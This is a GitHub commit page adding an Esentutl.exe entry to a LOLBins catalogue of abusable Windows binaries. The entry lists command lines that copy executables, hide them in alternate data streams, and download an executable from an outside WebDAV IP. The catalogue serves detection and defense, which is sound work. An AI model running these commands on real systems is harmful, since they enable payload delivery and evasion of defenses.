Skip to content

Commit 5e86fa1

Browse files
committed
added esentutl.exe
1 parent 735c36f commit 5e86fa1

File tree

2 files changed

+39
-0
lines changed

2 files changed

+39
-0
lines changed

LOLBins.md

+1
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ If you are missing from the acknowledgement, please let me know (I did not forge
1313
[Cscript.exe](OSBinaries/Cscript.md)
1414
[Dfsvc.exe](OSBinaries/Dfsvc.md)
1515
[Diskshadow.exe](OSBinaries/Diskshadow.md)
16+
[Esentutl.exe](OSBinaries/Esentutl.md)
1617
[Extrac32.exe](OSBinaries/Extrac32.md)
1718
[Expand.exe](OSBinaries/Expand.md)
1819
[Explorer.exe](OSBinaries/Explorer.md)

OSBinaries/Esentutl.md

+38
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
## Esentutl.exe
2+
3+
* Functions: Copy, Download, Write ADS, Read ADS
4+
5+
```
6+
esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
7+
8+
esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
9+
10+
esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
11+
12+
esentutl.exe /y \\82.221.113.85\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
13+
14+
esentutl.exe /y \\82.221.113.85\webdav\file.exe /d c:\ADS\file.exe /o
15+
16+
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
17+
```
18+
19+
Acknowledgements:
20+
* egre55 - @egre55
21+
22+
Code sample:
23+
*
24+
25+
Resources:
26+
* https://twitter.com/egre55/status/985994639202283520
27+
28+
Full path:
29+
```
30+
c:\windows\system32\esentutl.exe
31+
c:\windows\sysWOW64\esentutl.exe
32+
```
33+
34+
Notes:
35+
36+
37+
38+

0 commit comments

Comments
 (0)